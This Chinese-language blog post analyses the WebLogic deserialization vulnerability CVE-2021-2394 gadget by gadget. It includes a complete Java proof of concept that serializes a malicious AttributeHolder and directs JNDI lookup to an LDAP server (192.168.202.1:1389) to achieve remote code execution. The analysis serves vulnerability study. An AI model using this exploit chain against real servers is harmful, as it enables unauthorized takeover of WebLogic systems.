weblogic漏洞分析之CVE-2021-2394


weblogic漏洞分析之CVE-2021-2394

簡介

Oracle官方發布了2021年7月份安全更新通告,通告中披露了WebLogic組件存在高危漏洞,攻擊者可以在未授權的情況下通過IIOP、T3協議對存在漏洞的WebLogic Server組件進行攻擊。成功利用該漏洞的攻擊者可以接管WebLogic Server。

這是一個二次反序列化漏洞,是CVE-2020-14756和CVE-2020-14825的調用鏈相結合組成一條新的調用鏈來繞過weblogic黑名單列表。

影響版本:

Oracle WebLogic Server 10.3.6.0.0

Oracle WebLogic Server 12.1.3.0.0

Oracle WebLogic Server 12.2.1.3.0

Oracle WebLogic Server 12.2.1.4.0

Oracle WebLogic Server 14.1.1.0.0

前置知識

為了更好的理解漏洞,我將介紹漏洞中涉及的每一個類的作用,再將所有類串起來形成調用鏈

ExternalizableLite接口

Coherence 組件中存在一個 com.tangosol.io.ExternalizableLite,它繼承了 java.io.Serializable,另外聲明了 readExternalwriteExternal 這兩個方法。

image-20210911175835905

ExternalizableHelper類

ExternalizableHelper類可以將實現上面ExternalizableLite接口的類進行序列化和反序列化操作,在反序列化操作中,會調用ExternalizableHelper#readObject

image-20210911180141794

如上圖,在ExternalizableHelper#readObject中,會調用readObjectInternal方法,此方法會根據要還原類的類型,選擇對應的方法進行解析,對於實現 com.tangosol.io.ExternalizableLite 接口的對象,會進入到 readExternalizableLite 方法:

image-20210911180423222

readExternalizableLite 方法中,會根據類名加載類,然后並且實例化出這個類的對象,然后調用它的 readExternal() 方法。

image-20210911180441174

JdbcRowSetImpl類

此類中getDatabaseMetaData方法會調用this.connect

image-20210911181658585

this.connect則調用了InitialContext#lookup,如果this.getDataSourceName()為惡意uri,則可以產生JNDI注入

image-20210911181759962

MethodAttributeAccessor類

此類中有一個getAttributeValueFromObject方法,在getAttributeValueFromObject方法中,可以調用invoke來執行任意方法,前提是三個參數可控getMethod、anObject、parameters

image-20210911181037101

AbstractExtractor類

此類的compare方法會調用this.extract

image-20210911190218951

FilterExtractor類

此類是整個漏洞繞過上一個補丁的關鍵類,它實現了ExternalizableLite接口,並且父類是AbstractExtractor

image-20210911190006316

在此類中有兩個比較重要的方法,首先來看第一個extract方法,此方法會調用attributeAccessorgetAttributeValueFromObject方法

image-20210911182404611

第二個是readExternal方法

image-20210911182549889

此方法調用了SerializationHelper#readAttributeAccessor來從序列化數據中還原this.attributeAccessor的值

跟進readAttributeAccessor方法,可以看到是自己new了一個MethodAttributeAccessor對象,這里就是繞過補丁的關鍵

image-20210911183812199

TopNAggregator$PartialResult類

TopNAggregator$PartialResult是一個靜態內部類,也實現了ExternalizableLite接口,里面有個readExternal方法

image-20210911190551495

readExternal方法中也是調用的ExternalizableHelper進行還原每一個元素,170行還原了m_comparator后,到172行調用了instantiateInternalMap方法並且傳入了還原的m_comparator,跟進instantiateInternalMap

image-20210911190934735

這里首先new了一個SortedBag.WrapperComparator,傳入comparator,跟進WrapperComparator可以看到把comparator的值賦予給了this.f_comparator

image-20210911191041590

之后把new出來的SortedBag.WrapperComparator對象傳入了TreeMap構造方法,跟進TreeMap構造方法

image-20210911191245612

TreeMap構造方法只是對comparator的一個賦值,把剛剛的SortedBag.WrapperComparator對象傳遞給了this.comparator

image-20210911191316096

回到TopNAggregator$PartialResult類,最終的把TreeMap對象賦值給了this.m_map,接下來看176行的this.add

image-20210911191436252

跟進add方法看到調用了父類的add

image-20210911191519232

跟進其父類SortedBag類的add,在父類add方法中,調用了map.put,而這里的map就是上面的TreeMap對象

image-20210911191555916

TreeMap類

TreeMap類中,其put方法會調用compare

image-20210911191946021

compare中調用了comparator.compare,此處的comparator是在上個內部類中賦予的值SortedBag.WrapperComparator

image-20210911192051243

SortedBag$WrapperComparator類

此類的compare方法會調用this.f_comparator.compare

image-20210911192421666

AttributeHolder類

這個是整個漏洞的入口,在此類中實現了readExternal方法,在還原this.m_oValue值時候會調用ExternalizableHelper.readObject

image-20210911193008547

漏洞分析

先上gadget:

AttributeHolder#readExternal
 ExternalizableHelper#readObject
  ExternalizableHelper#readExternalizableLite
   TopNAggregator$PartialResult#readExternal
    TopNAggregator$PartialResult#add
     SortedBag#add
      TreeMap#put
       SortedBag$WrapperComparator#compare
        FilterExtractor#compare
         FilterExtractor#extract
          MethodAttributeAccessor#getAttributeValueFromObject
           Method.invoke
            JdbcRowSetImpl#getDatabaseMetaData
             InitialContext#lookup

POC用Timeline Sec團隊的:

import com.sun.rowset.JdbcRowSetImpl;
import com.supeream.serial.Serializables;
import com.tangosol.coherence.servlet.AttributeHolder;
import com.tangosol.util.SortedBag;
import com.tangosol.util.aggregator.TopNAggregator;
import oracle.eclipselink.coherence.integrated.internal.querying.FilterExtractor;
import org.eclipse.persistence.exceptions.DescriptorException;
import org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor;
import org.eclipse.persistence.mappings.AttributeAccessor;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class test {
    public static void main(String[] args) throws Exception {
        String ldapurl="ldap://192.168.202.1:1389/2rp7lc";

        MethodAttributeAccessor accessor = new MethodAttributeAccessor();
        accessor.setAttributeName("yangyang");
        accessor.setGetMethodName("connect");
        accessor.setSetMethodName("setConnection");

        Constructor<JdbcRowSetImpl> DeclaredConstructor = JdbcRowSetImpl.class.getDeclaredConstructor();
        DeclaredConstructor.setAccessible(true);
        JdbcRowSetImpl jdbcRowSet = DeclaredConstructor.newInstance();

        jdbcRowSet.setDataSourceName(ldapurl);

        FilterExtractor extractor = new FilterExtractor(accessor);
        FilterExtractor extractor1 = new FilterExtractor(new TLSAttributeAccessor());

        SortedBag sortedBag = new TopNAggregator.PartialResult(extractor1, 2);
        sortedBag.add(jdbcRowSet);

        Field m_comparator = sortedBag.getClass().getSuperclass().getDeclaredField("m_comparator");
        m_comparator.setAccessible(true);
        m_comparator.set(sortedBag, extractor);

        AttributeHolder attributeHolder = new AttributeHolder();

        Method setInternalValue = attributeHolder.getClass().getDeclaredMethod("setInternalValue", Object.class);
        setInternalValue.setAccessible(true);
        setInternalValue.invoke(attributeHolder, sortedBag);

        //serial
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("poc.ser"));
        objectOutputStream.writeObject(attributeHolder);
        objectOutputStream.close();

        //unserial
        ObjectInputStream objectIntputStream = new ObjectInputStream(new FileInputStream("poc.ser"));
        objectIntputStream.readObject();
        objectIntputStream.close();
    }
    public static class TLSAttributeAccessor extends AttributeAccessor {

        public Object getAttributeValueFromObject(Object o) throws DescriptorException {
            return this.attributeName;
        }

        public void setAttributeValueInObject(Object o, Object o1) throws DescriptorException {
            this.attributeName = "yangyang";
        }
    }
}

objectIntputStream.readObject();處下斷點

image-20210911214906162

跟進到AttributeHolder#readExternal,這里使用了ExternalizableHelper從序列化數據中還原this.m_oValue

image-20210911214920063

跟進ExternalizableHelper#readObject,調用了readObjectInternal

image-20210911215108042

readObjectInternal中,判斷nType的值,進入readExternalizableLite來處理

image-20210911215200515

readExternalizableLite中,先實例化了TopNAggregator$PartialResult類,然后調用了它的readExternal方法

image-20210911215244159

跟進到TopNAggregator$PartialResultreadExternal方法,開始依次還原幾個變量,先看還原第一個m_comparator

image-20210911215559650

跟進ExternalizableHelper#readObjectreadExternalizableLite方法,實例化出了FilterExtractor對象,調用其readExternal方法

image-20210911215810087

跟進FilterExtractor#readExternal方法,發現調用了SerializationHelper.readAttributeAccessor方法來還原this.attributeAccessor的值

image-20210911215953587

跟進SerializationHelper.readAttributeAccessor后,可以看到會 new 一個 MethodAttributeAccessor 對象,然后從 DataInput 中還原它的 setAttributeNamesetGetMethodName 以及 setSetMethodName 屬性,最后進行返回。

image-20210911220106110

回到TopNAggregator$PartialResultreadExternal方法中,此時this.m_comparator已經變成了FilterExtractor對象

image-20210911220231393

接着調用到172行的instantiateInternalMap方法,傳入了this.m_comparator

image-20210911220347389

instantiateInternalMap方法中,首先new了一個SortedBag.WrapperComparator,傳入comparator,跟進WrapperComparator可以看到把comparator的值賦予給了this.f_comparator

image-20210911191041590

之后把new出來的SortedBag.WrapperComparator對象傳入了TreeMap構造方法,跟進TreeMap構造方法

image-20210911191245612

TreeMap構造方法只是對comparator的一個賦值,把剛剛的SortedBag.WrapperComparator對象傳遞給了this.comparator

image-20210911191316096

回到TopNAggregator$PartialResult類,最終的把TreeMap對象賦值給了this.m_map,接下來看176行的this.add

image-20210911191436252

跟進add方法看到調用了父類的add,可以看到value的值已經變成了JdbcRowSetImpl

image-20210911191519232

跟進其父類SortedBag類的add,在父類add方法中,調用了map.put,而這里的map就是上面的TreeMap對象

image-20210911191555916

TreeMap類中,其put方法會調用compare,此時傳入的key就是JdbcRowSetImpl對象

image-20210911191946021

compare中調用了comparator.compare,此處的comparator是在上面TreeMap中賦予的SortedBag.WrapperComparator

image-20210911221200504

接着進入SortedBag.WrapperComparator#compare中,可以看到調用了FilterExtractor#compare,其中o1、o2的值為JdbcRowSetImpl

image-20210911221503742

跟進FilterExtractor#compare中,調用了this.extract

image-20210911221613632

轉到this.extract,調用了MethodAttributeAccessor#getAttributeValueFromObject

image-20210911221712229

查看MethodAttributeAccessor#getAttributeValueFromObject

image-20210911221916152

利用invoke調用了JdbcRowSetImpl#getDatabaseMetaData

image-20210911222035799

最終進行了lookup,其this.getDataSourceName()就是我們輸入的LDAP地址

image-20210911222154229

彈出計算器

image-20210911222331273

參考

https://xz.aliyun.com/t/10052#toc-12

https://github.com/lz2y/CVE-2021-2394


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM